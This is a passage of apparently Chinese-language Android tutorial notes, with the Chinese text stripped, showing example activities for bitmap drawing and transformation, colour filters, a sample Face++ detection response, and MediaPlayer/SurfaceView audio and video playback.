				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
	
								//	TODO	,			
								iv.setOnTouchListener(new	OnTouchListener()	{
	
												private	int	startX;//	x
												private	int	startY;//	y
												@Override
												public	boolean	onTouch(View	v,	MotionEvent	event)	{
	
																switch	(event.getAction())	{
																case	MotionEvent.ACTION_DOWN://	
																				System.out.println("" );
																				startX	=	(int)	event.getX();
																				startY	=	(int)	event.getY();
																				break;
																case	MotionEvent.ACTION_UP://	
																				System.out.println("" );
																				break;
																case	MotionEvent.ACTION_MOVE://	
																				System.out.println("" );
																				int	newX	=	(int)	event.getX();
																				int	newY	=	(int)	event.getY();
																				System.out.println(":(" +startX+","+startY+")~~
("+newX+","+newY+")");
																				canvas.drawLine(startX,	startY,	newX,	newY,	paint);
	
																				//	



																				startX	=	(int)	event.getX();
																				startY	=	(int)	event.getY();
																				iv.setImageBitmap(mutableBitmap);
																				break;
																}
																return	true;//	FIXME	truefalse
												}
								});
				}
	
				/**
					*	TODO	
					*	@param	view
					*/
				public	void	pick(View	view){
								//	sd
								Intent	in	=	new	Intent();
								in.setAction(Intent.ACTION_MEDIA_MOUNTED);
								in.setData(Uri.fromFile(Environment.getRootDirectory()));
								this.sendBroadcast(in);
								//	
								Intent	intent	=	new	Intent();
								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								this.startActivityForResult(intent,	0);
				}
	
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								super.onActivityResult(requestCode,	resultCode,	data);
								if	(data	!=	null)	{
												try	{
																//	TODO		Uri(Immutable	URI	reference)
																Uri	uri	=	data.getData();
	
																//	Bitmap
																InputStream	is	=	this.getContentResolver().openInputStream(uri);
																Bitmap	bitmap	=	BitmapFactory.decodeStream(is);
																//	Bitmap
																mutableBitmap	=	Bitmap.createBitmap(bitmap.getWidth(),
bitmap.getHeight(),	bitmap.getConfig());



	
																//	TODO	1bitmap//	2
																canvas	=	new	Canvas(mutableBitmap);//	The	bitmap	must	be	mutable
	
																//	TODO	3
																paint	=	new	Paint();
																paint.setColor(Color.RED);
																paint.setStrokeWidth(8);
	
																//	FIXME	bitmap4		bitmap		alterbitmap
																canvas.drawBitmap(bitmap,	new	Matrix(),	paint);
	
																//	5
																iv.setImageBitmap(mutableBitmap);
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
	
								}
				}
				/**
					*	TODO	sdcard
					*	@param	view
					*/
				public	void	save(View	view){
								try	{
												File	file	=	new
File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".jpg");
												FileOutputStream	fos	=	new	FileOutputStream(file);
												mutableBitmap.compress(CompressFormat.JPEG,	100,	fos);
												Toast.makeText(getApplicationContext(),	"" ,	1).show();
												fos.close();
												//	sd
												Intent	intent	=	new	Intent();
												intent.setAction(Intent.ACTION_MEDIA_MOUNTED);
												intent.setData(Uri.fromFile(Environment.getExternalStorageDirectory()));
												sendBroadcast(intent);
								}	catch	(IOException	e)	{
												Toast.makeText(this,	"" ,	1).show();
												e.printStackTrace();
								}
				}



}



matrix.setScale(0.5f,	0.5f);ScrollView

import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.Canvas;
import	android.graphics.Color;
import	android.graphics.Matrix;
import	android.graphics.Paint;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.ImageView;
public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				private	ImageView	iv_after;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	this.findViewById(R.id.iv);
								iv_after	=	(ImageView)	this.findViewById(R.id.iv_after);
				}
				/**
					*	
					*	@param	view
					*/
				public	void	scalePic(View	view)	{
								//	
								Intent	intent	=	new	Intent();
								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								this.startActivityForResult(intent,	0);
				}
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								super.onActivityResult(requestCode,	resultCode,	data);
								if	(data	!=	null)	{
												//
												try	{
																Uri	uri	=	data.getData();
																iv.setImageURI(uri);
																//bitmap		
																Bitmap	bitmap	=	BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
																//bitmap
																Bitmap	alterBitmap	=	Bitmap.createBitmap(bitmap.getWidth()/2,	bitmap.getHeight()/2,	bitmap.getConfig());
																//
																Canvas	canvas	=	new	Canvas(alterBitmap);
																//
																Paint	paint	=	new	Paint();
																paint.setColor(Color.BLACK);
																Matrix	matrix	=	new	Matrix();



//																matrix.setValues(new	float[]	{
//																								0.5f,	0,	0,
//																								0,	0.5f,	0,
//																								0,	0,	1
//																				});
																matrix.setScale(0.5f,	0.5f);
																canvas.drawBitmap(bitmap,	matrix,	paint);
																
																iv_after.setImageBitmap(alterBitmap);
																
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
								}
				}
}
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matrix.setRotate(30,	bitmap.getWidth()/2,	bitmap.getHeight()/2);
(	bitmap.getWidth()/2,	bitmap.getHeight()/2)30

public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				private	ImageView	iv_after;
				
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv		=	(ImageView)	findViewById(R.id.iv);
								iv_after	=	(ImageView)	findViewById(R.id.iv_after);
				}
				public	void	selectImage(View	view){
								Intent	intent	=	new	Intent();
								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								startActivityForResult(intent,	0);
				}
				
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								if(data!=null){
												//
												try	{
																Uri	uri	=	data.getData();
																iv.setImageURI(uri);
																//bitmap		
																Bitmap	bitmap	=	BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
																//bitmap
																Bitmap	alterBitmap	=	Bitmap.createBitmap(bitmap.getWidth(),	bitmap.getHeight(),	bitmap.getConfig());
																//
																Canvas	canvas	=	new	Canvas(alterBitmap);
																//
																Paint	paint	=	new	Paint();
																paint.setColor(Color.BLACK);
																Matrix	matrix	=	new	Matrix();
																matrix.setRotate(30,	bitmap.getWidth()/2,	bitmap.getHeight()/2);
																canvas.drawBitmap(bitmap,	matrix,	paint);
																
																iv_after.setImageBitmap(alterBitmap);
																
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
												
								}
								super.onActivityResult(requestCode,	resultCode,	data);
				}
				
}





matrix.setTranslate(30,	0);//

package	com.itheima.pickimg;
	
import	java.io.FileNotFoundException;
	
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.Canvas;
import	android.graphics.Color;
import	android.graphics.Matrix;
import	android.graphics.Paint;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.ImageView;
	

public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				private	ImageView	iv_after;
	
	
				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv		=	(ImageView)	findViewById(R.id.iv);
								iv_after	=	(ImageView)	findViewById(R.id.iv_after);
				}
	

				public	void	selectImage(View	view){
								Intent	intent	=	new	Intent();
								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								startActivityForResult(intent,	0);
				}
	
				@Override

				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								if(data!=null){
												//
												try	{
																Uri	uri	=	data.getData();
																iv.setImageURI(uri);
																//bitmap		
																Bitmap	bitmap	=	BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
																//bitmap
																Bitmap	alterBitmap	=	Bitmap.createBitmap(bitmap.getWidth()+30,	bitmap.getHeight(),	bitmap.getConfig());
	



																//

																Canvas	canvas	=	new	Canvas(alterBitmap);
																//

																Paint	paint	=	new	Paint();
																paint.setColor(Color.BLACK);

																Matrix	matrix	=	new	Matrix();
	
																matrix.setTranslate(30,	0);//
																canvas.drawBitmap(bitmap,	matrix,	paint);
	
																iv_after.setImageBitmap(alterBitmap);
	
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
	
								}
								super.onActivityResult(requestCode,	resultCode,	data);
				}
}



image	progress	filetype:ppt	ppt
1
matrix.setScale(-1,	1);//
matrix.postTranslate(bitmap.getWidth(),	0);//

2
matrix.setScale(1,	-1);
matrix.postTranslate(0,	bitmap.getHeight());

wiz:open_attachment?guid=42d92935-4dd8-4957-ac9a-740cf981cb8f
wiz:open_attachment?guid=0c9a895a-fa8f-489b-9e2f-35ffceb32a5a


package	com.itheima.pickimg;	
import	java.io.FileNotFoundException;
	
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.Canvas;
import	android.graphics.Color;
import	android.graphics.ColorMatrix;
import	android.graphics.ColorMatrixColorFilter;
import	android.graphics.Matrix;
import	android.graphics.Paint;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.ImageView;
import	android.widget.SeekBar;
import	android.widget.SeekBar.OnSeekBarChangeListener;
	
public	class	MainActivity	extends	Activity	{
				private	ImageView	iv;
				private	ImageView	iv_after;
	
				private	Bitmap	alterBitmap;
				private	Canvas	canvas;
				private	Paint	paint;
				private					Bitmap	bitmap;
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								iv	=	(ImageView)	findViewById(R.id.iv);
								iv_after	=	(ImageView)	findViewById(R.id.iv_after);
	
								SeekBar	sb_r	=	(SeekBar)	findViewById(R.id.sb_r);
								SeekBar	sb_b	=	(SeekBar)	findViewById(R.id.sb_b);
								SeekBar	sb_g	=	(SeekBar)	findViewById(R.id.sb_g);
	
								sb_r.setOnSeekBarChangeListener(new	OnSeekBarChangeListener()	{
	
												@Override
												public	void	onStopTrackingTouch(SeekBar	seekBar)	{
																//	0~255
																int	progress	=	seekBar.getProgress();
																float	rate	=	(progress	-	122)	/	255.0f;	//	-0.5~0.5f
	
																ColorMatrix	cm	=	new	ColorMatrix();

																cm.set(new	float[]	{	1	+	rate,	0,	0,	0,	0,	0,	1,	0,	0,	0,	0,	0,

wiz:open_attachment?guid=6eeaa937-1a10-4a66-80fe-c712ccfb369b


																								1,	0,	0,	0,	0,	0,	1,	0	});
																paint.setColorFilter(new	ColorMatrixColorFilter(cm));
																paint	=	new	Paint();
																canvas.drawBitmap(bitmap,	new	Matrix(),	paint);
	
																iv_after.setImageBitmap(alterBitmap);
												}
	
												@Override
												public	void	onStartTrackingTouch(SeekBar	seekBar)	{
																//	TODO	Auto-generated	method	stub
	
												}
	
												@Override
												public	void	onProgressChanged(SeekBar	seekBar,	int	progress,
																				boolean	fromUser)	{
																//	TODO	Auto-generated	method	stub
	
												}
								});
	
								sb_b.setOnSeekBarChangeListener(new	OnSeekBarChangeListener()	{
	
												@Override
												public	void	onStopTrackingTouch(SeekBar	seekBar)	{
																//	0~255
																int	progress	=	seekBar.getProgress();
																float	rate	=	(progress	-	122)	/	255.0f;	//	-0.5~0.5f
	
																ColorMatrix	cm	=	new	ColorMatrix();

																cm.set(new	float[]	{
																								1,	0,	0,	0,	0,
																								0,	1+rate,	0,	0,	0,
																								0,	0,	1,	0,	0,
																								0,	0,	0,	1,	0
																								});
																paint	=	new	Paint();
																paint.setColorFilter(new	ColorMatrixColorFilter(cm));
																canvas.drawBitmap(bitmap,	new	Matrix(),	paint);
	
																iv_after.setImageBitmap(alterBitmap);
												}
	
												@Override
												public	void	onStartTrackingTouch(SeekBar	seekBar)	{
																//	TODO	Auto-generated	method	stub
	
												}
	
												@Override
												public	void	onProgressChanged(SeekBar	seekBar,	int	progress,
																				boolean	fromUser)	{
																//	TODO	Auto-generated	method	stub
	
												}



								});
								sb_g.setOnSeekBarChangeListener(new	OnSeekBarChangeListener()	{
	
												@Override
												public	void	onStopTrackingTouch(SeekBar	seekBar)	{
																//	0~255
																int	progress	=	seekBar.getProgress();
																float	rate	=	(progress	-	122)	/	255.0f;	//	-0.5~0.5f
	
																ColorMatrix	cm	=	new	ColorMatrix();

																cm.set(new	float[]	{
																								1,	0,	0,	0,	0,
																								0,	1,	0,	0,	0,
																								0,	0,	1+rate,	0,	0,
																								0,	0,	0,	1,	0
																								});
																paint	=	new	Paint();
																paint.setColorFilter(new	ColorMatrixColorFilter(cm));
																canvas.drawBitmap(bitmap,	new	Matrix(),	paint);
	
																iv_after.setImageBitmap(alterBitmap);
												}
	
												@Override
												public	void	onStartTrackingTouch(SeekBar	seekBar)	{
																//	TODO	Auto-generated	method	stub
	
												}
	
												@Override
												public	void	onProgressChanged(SeekBar	seekBar,	int	progress,
																				boolean	fromUser)	{
																//	TODO	Auto-generated	method	stub
	
												}
								});
				}
	
				public	void	selectImage(View	view)	{
								Intent	intent	=	new	Intent();
								intent.setAction("android.intent.action.PICK");
								intent.setType("image/*");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								startActivityForResult(intent,	0);
				}
	
				@Override
				protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
								if	(data	!=	null)	{
												//	
												try	{
																Uri	uri	=	data.getData();
																iv.setImageURI(uri);
																//	bitmap	
																bitmap	=	BitmapFactory.decodeStream(getContentResolver()
																								.openInputStream(uri));



																//	bitmap
																alterBitmap	=	Bitmap.createBitmap(bitmap.getWidth(),
																								bitmap.getHeight(),	bitmap.getConfig());
	
																//	
																canvas	=	new	Canvas(alterBitmap);
																//	
																paint	=	new	Paint();
																paint.setColor(Color.BLACK);
																Matrix	matrix	=	new	Matrix();
//																matrix.setScale(1,	-1);
//
//																matrix.postTranslate(0,	bitmap.getHeight());
	
																canvas.drawBitmap(bitmap,	matrix,	paint);
	
																iv_after.setImageBitmap(alterBitmap);
	
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
	
								}
								super.onActivityResult(requestCode,	resultCode,	data);
				}
	
}



paint.setXfermode(new	PorterDuffXfermode(
																android.graphics.PorterDuff.Mode.SRC_OVER));
src

package	cn.zengfansheng.imgjoin;
	
import	android.app.Activity;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.Canvas;
import	android.graphics.Color;
import	android.graphics.Matrix;
import	android.graphics.Paint;
import	android.os.Bundle;
import	android.widget.ImageView;
	
public	class	MainActivity	extends	Activity	{
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);



								setContentView(R.layout.activity_main);
	
								//	TODO	
								//	1immutablebitmap
								Bitmap	bitmapGirl	=	BitmapFactory.decodeResource(this.getResources(),
																R.drawable.pre17);
	
								//	2mutablebitmap
								Bitmap	alterBitmap	=	Bitmap.createBitmap(bitmapGirl.getWidth(),
																bitmapGirl.getHeight(),	bitmapGirl.getConfig());
	
								//	3
								Canvas	canvas	=	new	Canvas(alterBitmap);
	
								//	4
								Paint	paint	=	new	Paint();
								paint.setColor(Color.RED);
	
								//	5
								canvas.drawBitmap(bitmapGirl,	new	Matrix(),	paint);
	
								//	TODO	
								Bitmap	icLauncherBitmap	=	BitmapFactory.decodeResource(this.getResources(),
R.drawable.ic_launcher);
								//	canvas.drawBitmap(icLauncherBitmap,	new	Matrix(),	paint);
								canvas.drawBitmap(icLauncherBitmap,	30,	30,	paint);
	
								ImageView	iv	=	(ImageView)	this.findViewById(R.id.iv);
								iv.setImageBitmap(alterBitmap);
	
				}
	
}





http://www.face.com	facebook	
http://cn.faceplusplus.com/	
http://cn.faceplusplus.com/demo/demo_detect/

REST	URL:

http://apicn.faceplusplus.com/v2/detection/detect?

api_key=DEMO_KEY&api_secret=DEMO_SECRET

RESPONSE	JSON:

{
		"face":	[
				{
						"attribute":	{
								"age":	{
										"range":
5
,
										"value":
13
								},
								"gender":	{
										"confidence":
90.021
,
										"value":	"Female"
								},
								"glass":	{
										"confidence":
87.7496
,
										"value":	"None"
								},
								"pose":	{
										"pitch_angle":	{
												"value":
-15.0243582036
										},
										"roll_angle":	{
												"value":
-4.50651
										},

http://www.face.com
http://cn.faceplusplus.com/
http://apicn.faceplusplus.com/v2/detection/detect?api_key=DEMO_KEY&api_secret=DEMO_SECRET


										"yaw_angle":	{
												"value":
5
										}
								},
								"race":	{
										"confidence":
80.6602
,
										"value":	"Asian"
								},
								"smiling":	{
										"value":
3.75953
								}
						},
						"face_id":	"3139e763fcbfb05193201a8cc655e70a",
						"position":	{
								"center":	{
										"x":
51.341463
,
										"y":
66.449511
								},
								"eye_left":	{
										"x":
39.819756
,
										"y":
52.827362
								},
								"eye_right":	{
										"x":
61.197073
,
										"y":
50.577199
								},
								"height":
53.420195
,



								"mouth_left":	{
										"x":
42.609756
,
										"y":
81.632248
								},
								"mouth_right":	{
										"x":
60.864146
,
										"y":
79.960261
								},
								"nose":	{
										"x":
49.494146
,
										"y":
71.362541
								},
								"width":
40.243902
						},
						"tag":	""
				}
		],
		"img_height":
307
,
		"img_id":	"9381fa58bb86ef7696ca30a6017a335e",
		"img_width":
410
,
		"session_id":	"bda4ddb0490544a786cf118fdfb2b402",
		"url":	null
}
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package	cn.zengfansheng.day08.rawx_x;
import	android.annotation.SuppressLint;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.MotionEvent;
import	android.view.View;
import	android.view.View.OnTouchListener;
import	android.widget.Button;
import	cn.zengfansheng.day08.R;
public	class	RawXActivity	extends	Activity	{
				private	Button	btnTouch;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_rawx_x);
								
								btnTouch	=	(Button)	this.findViewById(R.id.bt_touch);
								btnTouch.setOnTouchListener(new	OnTouchListener()	{
												
												@SuppressLint("NewApi")
												@Override
												public	boolean	onTouch(View	v,	MotionEvent	event)	{
																switch	(event.getAction())	{
																case	MotionEvent.ACTION_DOWN:
																				System.out.println("touch	down...");
																				float	rawX	=	event.getRawX();
																				float	rawY	=	event.getRawY();
																				System.out.println("event.rawX="	+	rawX	+	"event.rawY="	+	rawY);
																				float	x	=	event.getX();
																				float	y	=	event.getY();
																				System.out.println("event.x="	+	x	+	"	event.y="	+	y);
																				float	x2	=	v.getX();
																				float	y2	=	v.getY();
																				System.out.println("view.x="	+	x2	+	"	view.y="	+	y2);
																				break;
																case	MotionEvent.ACTION_MOVE:
																				break;



																case	MotionEvent.ACTION_UP:
																				break;
																}
																return	false;
												}
								});
				}
}



IPC	(Inter-Process	Communication)	
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1 	MediaPlayer.setScreenOnWhilePlaying()	or	MediaPlayer.setWakeMode()
<uses-permission 	android:name="android.permission.WAKE_LOCK"	/>

2

mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);

AudioManager.STREAM_MUSIC	

AudioManager.STREAM_ALARM	

AudioManager.STREAM_RING	(40)

3serviceactivity

4

mediaPlayer.prepareAsync();//	start()setOnPreparedListener
																//	
																mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																				@Override
																				public	void	onPrepared(MediaPlayer	mp)	{
																								mediaPlayer.start();
																				}
																});
MediaPlayer

http://developer.android.com/reference/android/media/MediaPlayer.html#setScreenOnWhilePlaying(boolean)
http://developer.android.com/reference/android/media/MediaPlayer.html#setWakeMode(android.content.Context, int)


package	cn.zengfansheng.musicplay;
	
import	java.io.File;



import	android.app.Activity;
import	android.media.AudioManager;
import	android.media.MediaPlayer;
import	android.media.MediaPlayer.OnCompletionListener;
import	android.media.MediaPlayer.OnErrorListener;
import	android.media.MediaPlayer.OnPreparedListener;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.Button;
import	android.widget.EditText;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{
				private	EditText	et_path;
				private	Button	bt_pause;
				private	MediaPlayer	mediaPlayer;
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								et_path	=	(EditText)	this.findViewById(R.id.et_path);
								bt_pause	=	(Button)	this.findViewById(R.id.bt_pause);
				}
				/**
					*	TODO	1
					*
					*	@param	view
					*/
				public	void	start(View	view)	{
								try	{
												//	1
												String	audioPath	=	et_path.getText().toString().trim();
												File	file	=	new	File(audioPath);
												if	(file.exists()	&&	file.length()	>	0)	{
																//	2
																//	MediaPlayer	mediaPlayer	=	new	MediaPlayer();//
																mediaPlayer	=	new	MediaPlayer();
																//	3
																mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
																//	STREAM_ALARM		STREAM_RING	



																mediaPlayer.setDataSource(getApplicationContext(),	Uri.parse(audioPath));
	
																//	mediaPlayer.prepare();//	
																//	mediaPlayer.start();//
	
																mediaPlayer.setLooping(true);//	whether	to	loop	or	not
	
																mediaPlayer.prepareAsync();//	start()setOnPreparedListener
																//	
																mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																				@Override
																				public	void	onPrepared(MediaPlayer	mp)	{
																								mediaPlayer.start();
																				}
																});
	
																//	
																mediaPlayer.setOnCompletionListener(new	OnCompletionListener()	{
																				@Override
																				public	void	onCompletion(MediaPlayer	mp)	{
																								System.out.println("" );
																				}
																});
																//	
																mediaPlayer.setOnErrorListener(new	OnErrorListener()	{
																				@Override
																				public	boolean	onError(MediaPlayer	mp,	int	what,	int	extra)	{
																								//	mp	what		extra	
																								System.out.println("" );
																								return	false;
																				}
																});
																Toast.makeText(getApplicationContext(),	"
" +audioPath.substring(audioPath.lastIndexOf("/")+1),	0).show();
												}	else	{
																Toast.makeText(getApplicationContext(),	"" ,	0).show();
												}
								}	catch	(Exception	e)	{
												e.printStackTrace();
												Toast.makeText(getApplicationContext(),	"" ,	0).show();
								}
				}



				/**
					*	TODO	2
					*
					*	@param	view
					*/
				public	void	pause(View	view)	{
	
								if	("" .equals(bt_pause.getText().toString().trim()))	{
												bt_pause.setText("" );
												mediaPlayer.start();//	Starts	or	resumes	playback
												Toast.makeText(getApplicationContext(),	"" ,	0).show();
												return;
								}
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.pause();
												bt_pause.setText("" );
												Toast.makeText(getApplicationContext(),	"" ,	0).show();
								}
				}
				/**
					*	TODO	3
					*
					*	@param	view
					*/
				public	void	stop(View	view)	{
	
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{	
										mediaPlayer.stop();
												mediaPlayer.release();
												mediaPlayer	=	null;		
												Toast.makeText(getApplicationContext(),	"" ,	0).show();
								}
				}
				/**
					*	TODO	4
					*
					*	@param	view
					*/
				public	void	replay(View	view)	{
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.seekTo(0);
												Toast.makeText(getApplicationContext(),	"" ,	0).show();



								}
				}
}

1
2
mediaPlayer.stop();
mediaPlayer.release();
mediaPlayer	=	null;		





SurfaceView	 	
SurfaceView
SurfaceViewhomesurface	holder
holderholder

1
mediaPlayer.setDisplay(sh);		

2
mediaPlayer.prepareAsync();
mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
				@Override
				public	void	onPrepared(MediaPlayer	mp)	{
								mediaPlayer.start();
				}
});
3 SurfaceHolder,surfaceview	holder
sv.getHolder().addCallback(new	Callback()	{
				@Override
				public	void	surfaceDestroyed(SurfaceHolder	holder)	{
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												currentPosition	=	mediaPlayer.getCurrentPosition();
												mediaPlayer.stop();
												mediaPlayer.release();
												mediaPlayer	=	null;
								}
								System.out.println("holder	" 	+	currentPosition);
				}



				@Override
				public	void	surfaceCreated(SurfaceHolder	holder)	{
								System.out.println("holder	" );
								if	(currentPosition	>	0)	{
												try	{
																String	videoPath	=	et_path.getText().toString().trim();
																mediaPlayer	=	new	MediaPlayer();
																mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
																mediaPlayer.setDataSource(getApplicationContext(),Uri.parse(videoPath));
																mediaPlayer.setDisplay(sv.getHolder());
																mediaPlayer.prepareAsync();
																mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																				@Override
																				public	void	onPrepared(MediaPlayer	mp)	{
																								System.out.println("" +currentPosition+"" );
																								mediaPlayer.seekTo(currentPosition);
																								mediaPlayer.start();
																				}
																});
												}	catch	(Exception	e)	{
																e.printStackTrace();
												}
								}
				}
				@Override
				public	void	surfaceChanged(SurfaceHolder	holder,	int	format,
												int	width,	int	height)	{
								System.out.println("holder	" );
				}
});
4 android4.04.0surfaceview				
sv.getHolder().setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);

5 2.3	2.2bug,	1.6

package	cn.zengfansheng.videoplay;

import	android.app.Activity;
import	android.media.AudioManager;
import	android.media.MediaPlayer;
import	android.media.MediaPlayer.OnPreparedListener;
import	android.net.Uri;



import	android.os.Bundle;
import	android.view.SurfaceHolder;
import	android.view.SurfaceHolder.Callback;
import	android.view.SurfaceView;
import	android.view.View;
import	android.widget.Button;
import	android.widget.EditText;
public	class	MainActivity	extends	Activity	{

				private	EditText	et_path;
				private	Button	bt_pause;
				private	SurfaceView	sv;
				private	MediaPlayer	mediaPlayer;
				private	int	currentPosition;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								et_path	=	(EditText)	this.findViewById(R.id.et_path);
								bt_pause	=	(Button)	this.findViewById(R.id.bt_pause);

								sv	=	(SurfaceView)	this.findViewById(R.id.sv);

								//	android4.04.0 surfaceview				
								sv.getHolder().setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
								//	2.3	2.2bug,	1.6

								//	TODO	cSurfaceHolder,// surfaceview	holder
								sv.getHolder().addCallback(new	Callback()	{
												@Override
												public	void	surfaceDestroyed(SurfaceHolder	holder)	{
																if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
																				currentPosition	=	mediaPlayer.getCurrentPosition();
																				mediaPlayer.stop();
																				mediaPlayer.release();
																				mediaPlayer	=	null;
																}
																System.out.println("holder	" 	+	currentPosition);
												}
												@Override
												public	void	surfaceCreated(SurfaceHolder	holder)	{
																System.out.println("holder	" );



																if	(currentPosition	>	0)	{
																				try	{
																								String	videoPath	=	et_path.getText().toString().trim();
																								mediaPlayer	=	new	MediaPlayer();
																								mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
																								mediaPlayer.setDataSource(getApplicationContext(),Uri.parse(videoPath));
																								mediaPlayer.setDisplay(sv.getHolder());
																								mediaPlayer.prepareAsync();
																								mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																												@Override
																												public	void	onPrepared(MediaPlayer	mp)	{
																																System.out.println("" +currentPosition+"" );
																																mediaPlayer.seekTo(currentPosition);
																																mediaPlayer.start();
																												}
																								});
																				}	catch	(Exception	e)	{
																								e.printStackTrace();
																				}
																}
												}
												@Override
												public	void	surfaceChanged(SurfaceHolder	holder,	int	format,
																				int	width,	int	height)	{
																System.out.println("holder	" );
												}
								});
				}
				/**
					*	TODO	1
					*	
					*	@param	view
					*/
				public	void	start(View	view)	{
								try	{
												String	videoPath	=	et_path.getText().toString().trim();
												mediaPlayer	=	new	MediaPlayer();
												mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
												mediaPlayer.setDataSource(getApplicationContext(),	Uri.parse(videoPath));
												mediaPlayer.setLooping(true);//	
												//	TODO	bSurfaceHolder//
												SurfaceHolder	sh	=	sv.getHolder();



												mediaPlayer.setDisplay(sh);
												//	TODO	aprepareAsync()
												mediaPlayer.prepareAsync();
												mediaPlayer.setOnPreparedListener(new	OnPreparedListener()	{
																@Override
																public	void	onPrepared(MediaPlayer	mp)	{
																				mediaPlayer.start();
																}
												});
								}	catch	(Exception	e)	{
												e.printStackTrace();
								}
				}
				/**
					*	TODO	2
					*	
					*	@param	view
					*/
				public	void	pause(View	view)	{
								if	("" .equals(bt_pause.getText().toString().trim())	&&	mediaPlayer!=null)	{
												mediaPlayer.start();
												bt_pause.setText("" );
												return;
								}
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.pause();
												bt_pause.setText("" );
								}
				}
				/**
					*	TODO	3
					*	
					*	@param	view
					*/
				public	void	stop(View	view)	{
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())	{
												mediaPlayer.stop();
												mediaPlayer.release();
												mediaPlayer	=	null;
								}
				}
				/**



					*	TODO	4
					*	
					*	@param	view
					*/
				public	void	replay(View	view)	{
								if	(mediaPlayer	!=	null	&&	mediaPlayer.isPlaying())
												mediaPlayer.seekTo(0);
																start(view);
				}
}

1 Home
SurfaceViewhome 	SurfaceHolder	 holderholder
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	<uses-permission	android:name="android.permission.INTERNET"/>

package	cn.zengfansheng.videoplay;
	
import	android.app.Activity;
import	android.media.AudioManager;
import	android.media.MediaPlayer;
import	android.media.MediaPlayer.OnPreparedListener;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.SurfaceHolder;
import	android.view.SurfaceHolder.Callback;
import	android.view.SurfaceView;
import	android.view.View;
import	android.widget.Button;
import	android.widget.EditText;
import	cn.zengfansheng.onlinevideoplay.R;
	
public	class	MainActivity	extends	Activity	{
	
				private	EditText	et_path;
